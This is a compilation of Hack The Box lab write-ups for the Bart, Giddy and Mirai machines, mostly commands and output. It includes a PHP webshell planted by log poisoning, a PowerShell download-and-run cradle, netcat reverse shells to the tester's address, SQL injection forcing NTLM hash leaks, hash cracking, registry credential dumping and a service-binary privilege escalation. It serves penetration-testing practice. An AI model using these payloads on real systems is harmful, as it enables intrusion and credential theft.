PS C:\inetpub\wwwroot\internal-01\log> [System.Environment]::Is64BitProcess
[System.Environment]::Is64BitProcess
False
PS C:\inetpub\wwwroot\internal-01\log> whoami
whoami
nt authority\iusr
PS C:\inetpub\wwwroot\internal-01\log>

Log Poisoning

Looking at the source, there’s added code compared to the github repo:

<div id="log_link">
  <script>
    function saveChat() {
      // create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            alert(xhr.responseText);
        }
    }
    xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
    xhr.send(null);
    alert("Done");
    }
  </script>
  <a href="#" onclick="saveChat()">Log</a>
</div>

When the user clicks the Log link, there’s a popup saying “Done”, and then one saying “1”. That’s because the xhr.open function is called with the 3rd parameter true, which sets the call to async mode. The script then alerts “Done”, and then, when the http request comes back, the xhr.onreadystatechange function is called, which alerts with the response text.

Checking out the url that’s being called, if viewed directly, it outputs just the number 1, as seen in the popup.

If you change the file parameter to a file that already exists and we can’t write over (like the page source), it returns 0. Also, if you change it to a user that doesn’t exist, it returns 0. What about the file? Turns out that file is available in the same directory:

[2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Each time someone visits log.php, it appears to record the time, the username argument, and their useragent string.

So let’s see if we can get execution by writing to phpinfo.php with useragent <?php phpinfo(); ?>.

root@kali:~/hackthebox/bart-10.10.10.81# python3
Python 3.6.5rc1 (default, Mar 14 2018, 06:54:23)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import requests
>>> proxies={'http':'http://127.0.0.1:8080'}
>>> headers={'User-Agent':'0xdf: <?php phpinfo(); ?>'}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=phpinfo.php&username=harvey', proxies=proxies, headers=headers)

Then visit http://internal-01.bart.htb/log/phpinfo.php:phpinfo

PHP Webshell

So a webshell is possible:

>>> headers={'User-Agent':"0xdf: <?php system($_REQUEST['cmd']); ?>"}
>>> r = requests.get('http://internal-01.bart.htb/log/log.php?filename=0xdf.php&username=harvey', proxies=proxies, headers=headers)
root@kali:~/hackthebox/bart-10.10.10.81# curl http://internal-01.bart.htb/log/0xdf.php?cmd=whoami
[2018-04-28 22:55:12] - harvey - 0xdf: nt authority\iusr

Nishang Invoke-PowerShellTcp Shell

Time for a real shell. Grab Invoke-PowerShellTcp.ps1 from Nishang, and add a line to the end:

root@kali:~/hackthebox/bart-10.10.10.81# cp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1 .
root@kali:~/hackthebox/bart-10.10.10.81# tail -1 Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.48 -Port 4444

Give webshell powershell to get interactive shell and run it, and get shell:

>>> cmd = "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/Invoke-PowerShellTcp.ps1')"
>>> r = requests.get('http://internal-01.bart.htb/log/0xdf.php?cmd={}'.format(cmd), proxies=proxies)
root@kali:~/hackthebox/bart-10.10.10.81# python -m SimpleHTTPServer 8083
Serving HTTP on 0.0.0.0 port 8083 ...
10.10.10.81 - - [28/Apr/2018 16:09:12] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
root@kali:~/hackthebox/bart-10.10.10.81# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.48] from (UNKNOWN) [10.10.10.81] 49673
Windows PowerShell running as user BART$ on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\internal-01\log>whoami
nt authority\iusr

Privilege Escalation

Since we only have a low-privilege user for now, let’s focus on enumerating the files under C:\inetpub\wwwroot folder.

Browsing through the different files on the sub-directories, we can see some interesting files that contains configuration and credentials.

Found a db config file C:\inetpub\wwwroot\internal-01\simple_chat\includes\dbconnect.php

C:\inetpub\wwwroot\internal-01\simple_chat\includes>type dbconnect.php
type dbconnect.php
/**********************************************\
* Copyright (c) 2013 Manolis Agkopian          *
* See the file LICENCE for copying permission. *
\**********************************************/

if (!defined('INCLUDED')){
  define('INCLUDED',true);
  require 'markup_func.php';
  header('HTTP/1.1 403 Forbidden');
  do_html_403();
  die();
}

function db_connect() {
  $con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');
  if ($con === false) {
    return false;
  }
  
  mysqli_set_charset ($con , 'UTF-8');
  return $con;
}

Let’s try to login to the database and enumerate using the credentials (harvey:!IC4nB3Th3B3st?) specified on the file .

C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"  
mysql -uharvey -p!IC4nB3Th3B3st? -e "show databases;"
Database
information_schema
internal_chat

C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat   
mysql -uharvey -p!IC4nB3Th3B3st? -e "show tables;" internal_chat
Tables_in_internal_chat
message
user

C:\inetpub\wwwroot\internal-01\simple_chat\includes>mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
mysql -uharvey -p!IC4nB3Th3B3st? -e "select * from user;" internal_chat
uid uname passwd
1 harvey  faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3
2 bobby   e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc
3 daniel  f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801

Ok. We got some password hashes. But no matter how much time we spend on cracking this, we won’t be successful. The reason for this is because the password is salted. We can see a hard coded salt on another interesting file.

C:\inetpub\wwwroot\internal-01\simple_chat\includes> type validation_func.php
type validation_func.php
<?php
function validate_password ($passwd) {
  $passwd = trim($passwd); //ignore white-space on start or the end of the password
  if (validate_len($passwd, 'inf', 8) === false) {
    return false;
  }
  
  $salt = '8h@tr-waswe_aT#9TaCHuPhU'; //for security reasons please replace this string with your own random string (before attempt to register any user)
  return hash('sha256', $passwd.$salt); //return sha256 hash of the salted password
  return $passwd;
}

With this information, we can try to crack the password hashes using hashcat and the hard-coded salt we found.

First, let’s prepare the input file for hashcat.

root@loki:~# nano sha256.hash
root@loki:~# cat sha256.hash
faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU
e15929d8ce341f2dfa07ac7a0b6f32379e43868631f2aebc05a3a97b235d6dcc:8h@tr-waswe_aT#9TaCHuPhU
f7dbfae1e05efda233b872e9b7f709d3a0f1b042813be01d7e5b9e9788c7c801:8h@tr-waswe_aT#9TaCHuPhU
root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt
  hashcat (v3.5.0) starting...
  <----------------------------TRUNCATED---------------------------------->
  Recovered........: 1/3 (33.33%) Digests, 0/1 (0.00%) Salts
  Progress.........: 14343296/14343296 (100.00%)
  Rejected.........: 2006/14343296 (0.01%)
  Restore.Point....: 14343296/14343296 (100.00%)
  Candidates.#1....: $HEX[3139303731393638] -> $HEX[042a0337c2a156616d6f732103]
  HWMon.Dev.#1.....: Temp: 49c Util: 48% Core: 901MHz Mem: 900MHz Bus:8

  root@loki:~# hashcat -m 1410 sha256.hash /usr/share/wordlists/rockyou.txt --show
  faeff13072fffdb78ec3b08427678f18295ee28b8b0befc63eea2135eee85df3:8h@tr-waswe_aT#9TaCHuPhU:Password1

We cracked the password for harvey! But we already know this one. As of now, we have 3 potential passwords used by harvey: (1) potter, (2) Password1, (3) !IC4nB3Th3B3st? So let’s proceed to checking if harvey reuses his passwords.

Before we forget, let’s first confirm if harvey really has an OS account on the machine.

C:\inetpub\wwwroot\internal-01\log>net users
net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            b.hilton                 d.simmons                
DefaultAccount           Guest                    h.potter                 
privileged               
The command completed with one or more errors.

Yup. Harvey’s account is h.potter. Next, let’s check some information for Harvey’s account.

C:\inetpub\wwwroot\internal-01\log>net user h.potter
net user h.potter
User name                    h.potter
Full Name                    Harvey Potter
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            21/02/2018 20:53:00
Password expires             04/04/2018 20:53:00
Password changeable          21/02/2018 20:53:00
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   29/03/2018 15:50:28

Logon hours allowed          All

Local Group Memberships      *PowerShell Session Users
                             *Remote Management Users
                             *Users                
Global Group memberships     *None                 
The command completed successfully.

As you can see, Harvey’s account is a member of the PowerShell Session Users and Remote Management Users group. Membership to both of this groups allow Harvey’s account to do PowerShell Remoting via WinRM.

Let’s confirm and check if the WinRM port (TCP 47001) is listening.

C:\inetpub\wwwroot\internal-01\log>netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       856
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       1844
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       500
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       308
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       996
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1568
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       648
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       620
<------------------------------TRUNCATED----------------------------------->

Confirmed!

Next, we’ll use powershell to try and login as h.potter on the target machine.

C:\inetpub\wwwroot\internal-01\log>powershell.exe
powershell.exe
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

Cannot load PSReadline module.  Console is running without PSReadline.
PS C:\inetpub\wwwroot\internal-01\log> 
PS C:\inetpub\wwwroot\internal-01\log> $username = 'BART\h.potter' 
PS C:\inetpub\wwwroot\internal-01\log> $securePassword = ConvertTo-SecureString -AsPlainText -Force 'Password1'
PS C:\inetpub\wwwroot\internal-01\log> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword 
PS C:\inetpub\wwwroot\internal-01\log> Enter-PSSession -ComputerName localhost -Credential $credential

[localhost]: PS C:\Users\h.potter\Documents> whoami
whoami
bart\h.potter

Using the password “Password1” allows us to login as h.potter

Let’s proceed to capture the user flag.

[localhost]: PS C:\Users\h.potter\Documents> cmd.exe /c "type ..\user.txt"
625*****30f

Our next step is to perform further enumeration to escalate our privilege to Administrator. I won’t write every detailed step I took in order to locate the vector but you can check out this Windows Privilege Escalation cheat sheet for the common techniques.

For this box, I was able to locate an Autologin entry on the Windows Registry.

[localhost]: PS C:\Users\h.potter\Documents> C:\windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
C:\windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ DESKTOP-7I3S68E
DefaultUserName REG_SZ Administrator
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0xcdbc433
ShutdownFlags REG_DWORD 0x8000022b
AutoAdminLogon REG_SZ 1
DisableLockWorkstation REG_DWORD 0x0
EnableFirstLogonAnimation REG_DWORD 0x1
AutoLogonSID REG_SZ S-1-5-21-988671444-1802818203-1364644418-500
LastUsedUsername REG_SZ Administrator
DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
[localhost]: PS C:\Users\h.potter\Documents>

Note: Since the netcat I used is 32-bit, I needed to specify the exact path for the 64-bit reg.exe when performing queries so that registry redirection won’t happen. As an alternative to this, you can also use a 64-bit version of netcat.

At this point, we can just login as Administrator using Powershell again and create another reverse shell using netcat to capture the root flag.

Powershell Session

C:\inetpub\wwwroot\internal-01\log> powershell.exe
PS C:\inetpub\wwwroot\internal-01\log> $username = 'BART\Administrator'
PS C:\inetpub\wwwroot\internal-01\log> $securePassword = ConvertTo-SecureString -AsPlainText -Force '3130438f31186fbaf962f407711faddb'
PS C:\inetpub\wwwroot\internal-01\log> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\inetpub\wwwroot\internal-01\log> Enter-PSSession -ComputerName localhost -Credential $credential

[localhost]: PS C:\Users\Administrator\Documents> cmd.exe /c "C:\inetpub\wwwroot\internal-01\log\nc64.exe 10.10.14.20 53 -e cmd.exe"

Netcat Session

C:\Users\jacco>nc64.exe -lvp 53
listening on [any] 53 ...
connect to [10.10.14.20] from bart.htb [10.10.10.81] 50293
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Documents>whoami
whoami
bart\administrator
C:\Users\Administrator\Documents>cd ..\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
007*****2dc

Author : Jacco Straathof

references used : InfoSecurityGeek  & 0xdf

HTB – Giddy

Today we are going to solve another CTF challenge “Giddy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Expert

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Giddy is 10.10.10.104

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/giddy# nmap -sV -sT -sC 10.10.10.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-27 12:24 CET
Nmap scan report for 10.10.10.104
Host is up (0.029s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
| tls-alpn: 
| h2
|_ http/1.1
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-02-23T22:16:52
|_Not valid after: 2019-08-25T22:16:52
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.30 seconds

On http (port 80) there’s only this picture :

Also the same picture on https (port 443)

Let’s run gobuster

root@kali:~/htb/giddy# gobuster -u http://10.10.10.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -to 250s

=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.104/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 4m10s
=====================================================
2019/02/27 12:38:33 Starting gobuster
=====================================================
/remote (Status: 302)
/mvc (Status: 301)
/Remote (Status: 302)
=====================================================
2019/02/27 12:46:53 Finished
=====================================================

Let’s take a look at /remote :

It redirects us to this page titled as Windows PowerShell Web Access , we don’t have any credentials so we can ignore this for now and check /mvc

And we get this ASP.NET application


SQLI and getting User

After some regular enumeration we will find that when we click on a product name we get something like this :

The url has a parameter called ProductSubCategoryId , and if we try a single quote ' :

We get an error saying “Unclosed quotation mark after the character string” so this parameter is sql injectable , let’s try something like 1; UPDATE Product SET Name= ''

And we see that it dumped the products, we can run responder and use xpdirtreeto make it try to connect to us , you can read about xpdirtree here

To do this let’s run responder first responder -I tun0

Then let’s use xpdirtree : 1; EXEC MASTER.sys.xp_dirtree '\\10.10.xx.xx\fakeshare'

What is this doing is simply running a fake smb server with responder that steals ntlm hashes , then by using xpdirtree we make the server try to connect to our fake smb server. Let’s check responder now :

root@kali:~/htb/giddy# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.20]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.104
[SMBv2] NTLMv2-SSP Username : GIDDY\Stacy
[SMBv2] NTLMv2-SSP Hash : Stacy::GIDDY:72fe267ac292121b:6744A5C663ED890D026D026BECE2B31B:0101000000000000C0653150DE09D201C94925EC226E4117000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000006685072246E39F2F27E3BF3B79A87F7D3EF09383F6DE7E145476F2934DBB8F430A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003000000000000000000000000000
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy

We captured ntlm hash for a user called Stacy , Let’s crack the hash with john

root@kali:~/htb/giddy# john --wordlist=/usr/share/wordlists/rockyou.txt stacy.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
1g 0:00:00:08 DONE (2019-02-27 12:14) 0.1177g/s 316692p/s 316692c/s 316692C/s xNnWo6272k7x
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And the password is xNnWo6272k7x , let’s use the PowerShell Web Access

We get his web interface for powershell :

We can get the user flag now :

PS C:\Users\Stacy\Documents> 
cd ../Desktop
PS C:\Users\Stacy\Desktop> 
type user.txt
10C*****0AD

unifivideo local privilege escalation

If we return to Documents again we will find a file called unifivideo

UniFi Video is a powerful and flexible, integrated IP video management surveillance system designed to work with Ubiquiti’s UniFi Video Camera product line. UniFi Video has an intuitive, configurable, and feature‑packed user interface with advanced features such as motion detection, auto‑discovery, user-level security, storage management, reporting, and mobile device support.

A quick google search and we will find that an old version of unifivideo had a local privilege escalation vulnerability , check it here

What’s happening is , Upon the start of the service “Ubiquiti UniFi Video” it tries to execute a file called taskkill.exe in C:\ProgramData\unifi-video\ but that file doesn’t exist by default , if we have write permissions to that directory we can place our payload there as taskkill.exe then restart the service. And because the service runs with privileged permissions , it will be executed as administrator.

PS C:\ProgramData\unifi-video>
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services | where Name -Match 'uni'
Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Name Property
---- --------
UniFiVideoService Type : 16
Start : 2
ErrorControl : 1
ImagePath : C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService
DisplayName : Ubiquiti UniFi Video
DependOnService : {Tcpip, Afd}
ObjectName : LocalSystem
Description : Ubiquiti UniFi Video Service
PS C:\ProgramData\unifi-video> 

.\taskkill.exe

Program 'taskkill.exe' failed to run: This program is blocked by group policy. For more information, contact your system administrator.

    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException 

    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\ProgramData\unifi-video> Get-AppLockerPolicy -Local

Version RuleCollections

------- ---------------

1 {Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule, Microsoft.Security.Applica...

Let’s first create a payload with C# :

c:\PENTEST>c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:taskkill.exe taskkill.cs
Microsoft (R) Visual C# Compiler version 4.7.3056.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

taskkill.cs(64,34): warning CS0168: The variable 'err' is declared but never used

Then we will run a simple http server with python to host the payload

c:\PENTEST\python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.104 - - [27/Feb/2019 17:45:50] "GET /taskkill.exe HTTP/1.1" 200 -

After that we will download the file , since we are on powershell we can do this :

Invoke-WebRequest -o taskkill.exe http://10.10.xx.xx/taskkill.exe

Then we will stop the service :

Stop-Service "Ubiquiti UniFi Video" 

Start it again :

Start-Service "Ubiquiti UniFi Video" 


.
c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.104: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.104] 49782: NO_DATA
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\ProgramData\unifi-video>
whoami
C:\ProgramData\unifi-video>whoami
nt authority\system
C:\ProgramData\unifi-video>cd c:\Users\administrator\desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C is Windows 2016
Volume Serial Number is 0828-8CAE
Directory of c:\Users\Administrator\Desktop
06/17/2018 09:53 AM <DIR> .
06/17/2018 09:53 AM <DIR> ..
06/17/2018 09:53 AM 32 root.txt
06/16/2018 08:54 PM 842 Ubiquiti UniFi Video.lnk
2 File(s) 874 bytes
2 Dir(s) 42,888,380,416 bytes free
type root.txt
c:\Users\Administrator\Desktop>type root.txt
CF5*****1B1

HTB – Mirai

Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.

Level: Easy

Task: find user.txt and root.txt file in the victim’s machine.

Lab IP: 10.10.10.48

Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.

root@kali:~/htb/mirai# nmap -sC -sV -oA nmap 10.10.10.48
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-23 20:16 CET
Nmap scan report for 10.10.10.48
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp open  http    lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.68 seconds

Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/

root@kali:~/htb/mirai# dirb http://10.10.10.48

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Sat Feb 23 20:16:56 2019
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.48/ ----
==> DIRECTORY: http://10.10.10.48/admin/

When I link on login tab I saw following web page. The Pi-hole and the Logo gives us a pretty huge hint that the target machine is a Raspberry Pi, and Raspberry Pi comes with a default ssh

So we tried default ssh credentials on the Raspberry Pi.

Username:     pi
Password:     raspberry
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\jacco> ssh pi@10.10.10.48
pi@10.10.10.48's password: raspberry

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 21 00:00:59 2019 from 10.10.14.5

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
pi@raspberrypi:~ $ cd Desktop
pi@raspberrypi:~/Desktop $ ls
Plex user.txt
pi@raspberrypi:~/Desktop $ cat user.txt
ff8*****38dpi

Then I moved for root access using the previous same password and again I get root access successfully.

pi@raspberrypi:~/Desktop $ sudo bash
root@raspberrypi:/home/pi/Desktop# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:/home/pi/Desktop#

Let’s check if it is mounted by following command df

pi@raspberrypi:~ $ df -h
Filesystem      Size  Used Avail Use% Mounted on
aufs            8.5G  2.8G  5.3G  35% /
tmpfs           101M  8.8M   92M   9% /run
/dev/sda1       1.3G  1.3G     0 100% /lib/live/mount/persistence/sda1
/dev/loop0      1.3G  1.3G     0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs           251M     0  251M   0% /lib/live/mount/overlay
/dev/sda2       8.5G  2.8G  5.3G  35% /lib/live/mount/persistence/sda2
devtmpfs         10M     0   10M   0% /dev
tmpfs           251M  8.0K  251M   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           251M     0  251M   0% /sys/fs/cgroup
tmpfs           251M  4.0K  251M   1% /tmp
/dev/sdb        8.7M   93K  7.9M   2% /media/usbstick
tmpfs            51M     0   51M   0% /run/user/999
tmpfs            51M     0   51M   0% /run/user/1000
pi@raspberrypi:~ $

From given below image we can /media/usbstick.

Then execute given below command for further steps

root@raspberrypi:/home/pi/Desktop# cd /media/usbstick
root@raspberrypi:/media/usbstick# ls -la
total 18
drwxr-xr-x 3 root root 1024 Aug 14 2017 .
drwxr-xr-x 3 root root 4096 Aug 14 2017 ..
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
